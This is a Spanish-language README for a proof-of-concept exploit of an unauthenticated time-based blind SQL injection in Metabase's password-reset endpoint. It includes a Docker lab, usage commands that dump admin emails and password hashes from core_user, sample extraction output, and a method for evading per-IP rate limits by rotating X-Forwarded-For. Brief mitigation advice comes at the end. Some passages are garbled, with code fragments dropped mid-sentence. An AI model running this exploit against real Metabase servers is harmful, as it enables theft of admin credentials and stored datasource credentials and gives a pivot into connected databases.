
Exploit de inyección SQL ciega no autenticada para Metabase, que aprovecha una inyección SQL cruda en el endpoint de restablecimiento de contraseña para extraer datos mediante técnicas basadas en tiempo.
★ CVE-2026-72898 PoC de inyección SQL ciega no autenticada en /api/session/reset_password de Metabase ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 es una inyección SQL no autenticada en Metabase (CVSS 10.0) accesible a través del endpoint público
POST /api/session/reset_password. El endpoint fusiona el cuerpo de la solicitud con el resultado de la autenticación (fallida) —(merge request (authenticate ...))— por lo que un campouser-idproporcionado por el atacante sobrevive intacto y llega a la consulta de usuario de la base de datos de la aplicaciónt2/select-one :model/User :id user-id. Metabase construye SQL con , cuyo mapa se compila como un (sin vinculación de parámetros). Enviar como por lo tanto inyecta SQL arbitrario en la base de datos de la aplicación. El endpoint siempre devuelve , por lo que la inyección es ; los datos se recuperan con (la base de datos de aplicación Postgres estándar de producción). La explotación exitosa produce datos de administración de Metabase, credenciales de conexión almacenadas para cada fuente de datos adjunta y un pivote completo hacia esas bases de datos.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| Categoría | Versión |
|---|---|
| Vulnerable | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Parcheada | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 o posterior |
pos-int? para que un user-id no entero sea rechazado antes de la consultaConstruye y ejecuta la Metabase vulnerable. Utiliza una base de datos de aplicación Postgres (requerida — la
técnica basada en tiempo necesita pg_sleep, del que H2 carece) y completa automáticamente la configuración inicial para que
arranque en una página de inicio de sesión. El arranque tarda ~40–60 segundos.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Precondición | Estado en este laboratorio |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Base de datos de aplicación Postgres (habilita pg_sleep) | incluida en la imagen |
/api/session/reset_password accesible sin autenticación | expuesto |
| Límite de restablecimiento por IP (evadido rotando X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
El exploit metabase_exploit.py lee cualquier valor al que lo apuntes, sin credenciales, usando
la primitiva ciega basada en tiempo. Envía un X-Forwarded-For aleatorio nuevo por solicitud para eludir el
límite de velocidad por IP (como hicieron los ataques en la naturaleza). Elige el objetivo con --extract "<SQL>".
# por defecto: extrae el correo del administrador
python3 metabase_exploit.py 172.17.0.2:3000
# extrae lo que quieras (cualquier expresión SQL escalar)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
Opciones:
--check — solo confirma que la inyección es explotable (muestra la diferencia de tiempo de pg_sleep)--extract "<SQL>" — cualquier expresión SQL escalar (convertida a texto automáticamente)--sleep 0.4 — retraso por bit TRUE (auméntalo en un objetivo lento/remoto)POST /api/session/reset_password en un proxy/WAFcore_session), revisa las cuentas de administrador y las claves API, y rota las credenciales de conexión de cada fuente de datos adjunta (asume que fueron expuestas si el endpoint era accesible desde internet)